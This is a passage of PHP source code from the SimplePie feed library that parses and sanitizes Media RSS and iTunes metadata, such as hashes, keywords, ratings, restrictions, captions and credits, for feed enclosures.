                    if (sizeof($temp) > 0) {
                        $minutes = (int) array_pop($temp);
                        $seconds += $minutes * 60;
                    }
                    if (sizeof($temp) > 0) {
                        $hours = (int) array_pop($temp);
                        $seconds += $hours * 3600;
                    }
                    unset($temp);
                    $duration_parent = $seconds;
                }
            }

            // HASHES
            if ($hashes_iterator = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'hash')) {
                foreach ($hashes_iterator as $hash) {
                    $value = null;
                    $algo = null;
                    if (isset($hash['data'])) {
                        $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($hash['attribs']['']['algo'])) {
                        $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $algo = 'md5';
                    }
                    $hashes_parent[] = $algo.':'.$value;
                }
            } elseif ($hashes_iterator = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'hash')) {
                foreach ($hashes_iterator as $hash) {
                    $value = null;
                    $algo = null;
                    if (isset($hash['data'])) {
                        $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($hash['attribs']['']['algo'])) {
                        $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $algo = 'md5';
                    }
                    $hashes_parent[] = $algo.':'.$value;
                }
            }
            if (is_array($hashes_parent)) {
                $hashes_parent = array_values(array_unique($hashes_parent));
            }

            // KEYWORDS
            if ($keywords = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'keywords')) {
                if (isset($keywords[0]['data'])) {
                    $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    foreach ($temp as $word) {
                        $keywords_parent[] = trim($word);
                    }
                }
                unset($temp);
            } elseif ($keywords = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'keywords')) {
                if (isset($keywords[0]['data'])) {
                    $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    foreach ($temp as $word) {
                        $keywords_parent[] = trim($word);
                    }
                }
                unset($temp);
            } elseif ($keywords = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'keywords')) {
                if (isset($keywords[0]['data'])) {
                    $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    foreach ($temp as $word) {
                        $keywords_parent[] = trim($word);
                    }
                }
                unset($temp);
            } elseif ($keywords = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'keywords')) {
                if (isset($keywords[0]['data'])) {
                    $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    foreach ($temp as $word) {
                        $keywords_parent[] = trim($word);
                    }
                }
                unset($temp);
            }
            if (is_array($keywords_parent)) {
                $keywords_parent = array_values(array_unique($keywords_parent));
            }

            // PLAYER
            if ($player_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'player')) {
                if (isset($player_parent[0]['attribs']['']['url'])) {
                    $player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                }
            } elseif ($player_parent = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'player')) {
                if (isset($player_parent[0]['attribs']['']['url'])) {
                    $player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                }
            }

            // RATINGS
            if ($ratings = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'rating')) {
                foreach ($ratings as $rating) {
                    $rating_scheme = null;
                    $rating_value = null;
                    if (isset($rating['attribs']['']['scheme'])) {
                        $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $rating_scheme = 'urn:simple';
                    }
                    if (isset($rating['data'])) {
                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                }
            } elseif ($ratings = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'explicit')) {
                foreach ($ratings as $rating) {
                    $rating_scheme = 'urn:itunes';
                    $rating_value = null;
                    if (isset($rating['data'])) {
                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                }
            } elseif ($ratings = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'rating')) {
                foreach ($ratings as $rating) {
                    $rating_scheme = null;
                    $rating_value = null;
                    if (isset($rating['attribs']['']['scheme'])) {
                        $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $rating_scheme = 'urn:simple';
                    }
                    if (isset($rating['data'])) {
                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                }
            } elseif ($ratings = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'explicit')) {
                foreach ($ratings as $rating) {
                    $rating_scheme = 'urn:itunes';
                    $rating_value = null;
                    if (isset($rating['data'])) {
                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                }
            }
            if (is_array($ratings_parent)) {
                $ratings_parent = array_values(array_unique($ratings_parent));
            }

            // RESTRICTIONS
            if ($restrictions = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'restriction')) {
                foreach ($restrictions as $restriction) {
                    $restriction_relationship = null;
                    $restriction_type = null;
                    $restriction_value = null;
                    if (isset($restriction['attribs']['']['relationship'])) {
                        $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($restriction['attribs']['']['type'])) {
                        $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($restriction['data'])) {
                        $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                }
            } elseif ($restrictions = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'block')) {
                foreach ($restrictions as $restriction) {
                    $restriction_relationship = 'allow';
                    $restriction_type = null;
                    $restriction_value = 'itunes';
                    if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') {
                        $restriction_relationship = 'deny';
                    }
                    $restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                }
            } elseif ($restrictions = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'restriction')) {
                foreach ($restrictions as $restriction) {
                    $restriction_relationship = null;
                    $restriction_type = null;
                    $restriction_value = null;
                    if (isset($restriction['attribs']['']['relationship'])) {
                        $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($restriction['attribs']['']['type'])) {
                        $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($restriction['data'])) {
                        $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                }
            } elseif ($restrictions = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'block')) {
                foreach ($restrictions as $restriction) {
                    $restriction_relationship = 'allow';
                    $restriction_type = null;
                    $restriction_value = 'itunes';
                    if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') {
                        $restriction_relationship = 'deny';
                    }
                    $restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                }
            }
            if (is_array($restrictions_parent)) {
                $restrictions_parent = array_values(array_unique($restrictions_parent));
            } else {
                $restrictions_parent = [new \SimplePie\Restriction('allow', null, 'default')];
            }

            // THUMBNAILS
            if ($thumbnails = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'thumbnail')) {
                foreach ($thumbnails as $thumbnail) {
                    if (isset($thumbnail['attribs']['']['url'])) {
                        $thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                    }
                }
            } elseif ($thumbnails = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'thumbnail')) {
                foreach ($thumbnails as $thumbnail) {
                    if (isset($thumbnail['attribs']['']['url'])) {
                        $thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                    }
                }
            }

            // TITLES
            if ($title_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'title')) {
                if (isset($title_parent[0]['data'])) {
                    $title_parent = $this->sanitize($title_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
            } elseif ($title_parent = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'title')) {
                if (isset($title_parent[0]['data'])) {
                    $title_parent = $this->sanitize($title_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
            }

            // Clear the memory
            unset($parent);

            // Attributes
            $bitrate = null;
            $channels = null;
            $duration = null;
            $expression = null;
            $framerate = null;
            $height = null;
            $javascript = null;
            $lang = null;
            $length = null;
            $medium = null;
            $samplingrate = null;
            $type = null;
            $url = null;
            $width = null;

            // Elements
            $captions = null;
            $categories = null;
            $copyrights = null;
            $credits = null;
            $description = null;
            $hashes = null;
            $keywords = null;
            $player = null;
            $ratings = null;
            $restrictions = null;
            $thumbnails = null;
            $title = null;

            // If we have media:group tags, loop through them.
            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'group') as $group) {
                if (isset($group['child']) && isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'])) {
                    // If we have media:content tags, loop through them.
                    foreach ((array) $group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'] as $content) {
                        if (isset($content['attribs']['']['url'])) {
                            // Attributes
                            $bitrate = null;
                            $channels = null;
                            $duration = null;
                            $expression = null;
                            $framerate = null;
                            $height = null;
                            $javascript = null;
                            $lang = null;
                            $length = null;
                            $medium = null;
                            $samplingrate = null;
                            $type = null;
                            $url = null;
                            $width = null;

                            // Elements
                            $captions = null;
                            $categories = null;
                            $copyrights = null;
                            $credits = null;
                            $description = null;
                            $hashes = null;
                            $keywords = null;
                            $player = null;
                            $ratings = null;
                            $restrictions = null;
                            $thumbnails = null;
                            $title = null;

                            // Start checking the attributes of media:content
                            if (isset($content['attribs']['']['bitrate'])) {
                                $bitrate = $this->sanitize($content['attribs']['']['bitrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['channels'])) {
                                $channels = $this->sanitize($content['attribs']['']['channels'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['duration'])) {
                                $duration = $this->sanitize($content['attribs']['']['duration'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } else {
                                $duration = $duration_parent;
                            }
                            if (isset($content['attribs']['']['expression'])) {
                                $expression = $this->sanitize($content['attribs']['']['expression'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['framerate'])) {
                                $framerate = $this->sanitize($content['attribs']['']['framerate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['height'])) {
                                $height = $this->sanitize($content['attribs']['']['height'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['lang'])) {
                                $lang = $this->sanitize($content['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['fileSize'])) {
                                $length = intval($content['attribs']['']['fileSize']);
                            }
                            if (isset($content['attribs']['']['medium'])) {
                                $medium = $this->sanitize($content['attribs']['']['medium'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['samplingrate'])) {
                                $samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['type'])) {
                                $type = $this->sanitize($content['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['width'])) {
                                $width = $this->sanitize($content['attribs']['']['width'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            $url = $this->sanitize($content['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);

                            // Checking the other optional media: elements. Priority: media:content, media:group, item, channel

                            // CAPTIONS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'] as $caption) {
                                    $caption_type = null;
                                    $caption_lang = null;
                                    $caption_startTime = null;
                                    $caption_endTime = null;
                                    $caption_text = null;
                                    if (isset($caption['attribs']['']['type'])) {
                                        $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['lang'])) {
                                        $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['start'])) {
                                        $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['end'])) {
                                        $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['data'])) {
                                        $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $captions[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                                }
                                if (is_array($captions)) {
                                    $captions = array_values(array_unique($captions));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'] as $caption) {
                                    $caption_type = null;
                                    $caption_lang = null;
                                    $caption_startTime = null;
                                    $caption_endTime = null;
                                    $caption_text = null;
                                    if (isset($caption['attribs']['']['type'])) {
                                        $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['lang'])) {
                                        $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['start'])) {
                                        $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['end'])) {
                                        $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['data'])) {
                                        $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $captions[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                                }
                                if (is_array($captions)) {
                                    $captions = array_values(array_unique($captions));
                                }
                            } else {
                                $captions = $captions_parent;
                            }

                            // CATEGORIES
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'])) {
                                foreach ((array) $content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'] as $category) {
                                    $term = null;
                                    $scheme = null;
                                    $label = null;
                                    if (isset($category['data'])) {
                                        $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($category['attribs']['']['scheme'])) {
                                        $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $scheme = 'http://search.yahoo.com/mrss/category_schema';
                                    }
                                    if (isset($category['attribs']['']['label'])) {
                                        $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
                                }
                            }
                            if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'])) {
                                foreach ((array) $group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'] as $category) {
                                    $term = null;
                                    $scheme = null;
                                    $label = null;
                                    if (isset($category['data'])) {
                                        $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($category['attribs']['']['scheme'])) {
                                        $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $scheme = 'http://search.yahoo.com/mrss/category_schema';
                                    }
                                    if (isset($category['attribs']['']['label'])) {
                                        $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
                                }
                            }
                            if (is_array($categories) && is_array($categories_parent)) {
                                $categories = array_values(array_unique(array_merge($categories, $categories_parent)));
                            } elseif (is_array($categories)) {
                                $categories = array_values(array_unique($categories));
                            } elseif (is_array($categories_parent)) {
                                $categories = array_values(array_unique($categories_parent));
                            }

                            // COPYRIGHTS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'])) {
                                $copyright_url = null;
                                $copyright_label = null;
                                if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) {
                                    $copyright_url = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'])) {
                                    $copyright_label = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $copyrights = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'])) {
                                $copyright_url = null;
                                $copyright_label = null;
                                if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) {
                                    $copyright_url = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'])) {
                                    $copyright_label = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $copyrights = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
                            } else {
                                $copyrights = $copyrights_parent;
                            }

                            // CREDITS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'] as $credit) {
                                    $credit_role = null;
                                    $credit_scheme = null;
                                    $credit_name = null;
                                    if (isset($credit['attribs']['']['role'])) {
                                        $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($credit['attribs']['']['scheme'])) {
                                        $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $credit_scheme = 'urn:ebu';
                                    }
                                    if (isset($credit['data'])) {
                                        $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $credits[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                                }
                                if (is_array($credits)) {
                                    $credits = array_values(array_unique($credits));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'] as $credit) {
                                    $credit_role = null;
                                    $credit_scheme = null;
                                    $credit_name = null;
                                    if (isset($credit['attribs']['']['role'])) {
                                        $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($credit['attribs']['']['scheme'])) {
                                        $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $credit_scheme = 'urn:ebu';
                                    }
                                    if (isset($credit['data'])) {
                                        $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $credits[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                                }
                                if (is_array($credits)) {
                                    $credits = array_values(array_unique($credits));
                                }
                            } else {
                                $credits = $credits_parent;
                            }

                            // DESCRIPTION
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'])) {
                                $description = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'])) {
                                $description = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } else {
                                $description = $description_parent;
                            }

                            // HASHES
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'] as $hash) {
                                    $value = null;
                                    $algo = null;
                                    if (isset($hash['data'])) {
                                        $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($hash['attribs']['']['algo'])) {
                                        $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $algo = 'md5';
                                    }
                                    $hashes[] = $algo.':'.$value;
                                }
                                if (is_array($hashes)) {
                                    $hashes = array_values(array_unique($hashes));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'] as $hash) {
                                    $value = null;
                                    $algo = null;
                                    if (isset($hash['data'])) {
                                        $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($hash['attribs']['']['algo'])) {
                                        $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $algo = 'md5';
                                    }
                                    $hashes[] = $algo.':'.$value;
                                }
                                if (is_array($hashes)) {
                                    $hashes = array_values(array_unique($hashes));
                                }
                            } else {
                                $hashes = $hashes_parent;
                            }

                            // KEYWORDS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'])) {
                                if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'])) {
                                    $temp = explode(',', $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                                    foreach ($temp as $word) {
                                        $keywords[] = trim($word);
                                    }
                                    unset($temp);
                                }
                                if (is_array($keywords)) {
                                    $keywords = array_values(array_unique($keywords));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'])) {
                                if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'])) {
                                    $temp = explode(',', $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                                    foreach ($temp as $word) {
                                        $keywords[] = trim($word);
                                    }
                                    unset($temp);
                                }
                                if (is_array($keywords)) {
                                    $keywords = array_values(array_unique($keywords));
                                }
                            } else {
                                $keywords = $keywords_parent;
                            }

                            // PLAYER
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
                                $player = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
                                $player = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                            } else {
                                $player = $player_parent;
                            }

                            // RATINGS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'] as $rating) {
                                    $rating_scheme = null;
                                    $rating_value = null;
                                    if (isset($rating['attribs']['']['scheme'])) {
                                        $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $rating_scheme = 'urn:simple';
                                    }
                                    if (isset($rating['data'])) {
                                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $ratings[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                                }
                                if (is_array($ratings)) {
                                    $ratings = array_values(array_unique($ratings));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'] as $rating) {
                                    $rating_scheme = null;
                                    $rating_value = null;
                                    if (isset($rating['attribs']['']['scheme'])) {
                                        $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $rating_scheme = 'urn:simple';
                                    }
                                    if (isset($rating['data'])) {
                                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $ratings[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                                }
                                if (is_array($ratings)) {
                                    $ratings = array_values(array_unique($ratings));
                                }
                            } else {
                                $ratings = $ratings_parent;
                            }

                            // RESTRICTIONS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'] as $restriction) {
                                    $restriction_relationship = null;
                                    $restriction_type = null;
                                    $restriction_value = null;
                                    if (isset($restriction['attribs']['']['relationship'])) {
                                        $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($restriction['attribs']['']['type'])) {
                                        $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($restriction['data'])) {
                                        $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $restrictions[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                                }
                                if (is_array($restrictions)) {
                                    $restrictions = array_values(array_unique($restrictions));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'] as $restriction) {
                                    $restriction_relationship = null;
                                    $restriction_type = null;
                                    $restriction_value = null;
                                    if (isset($restriction['attribs']['']['relationship'])) {
                                        $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
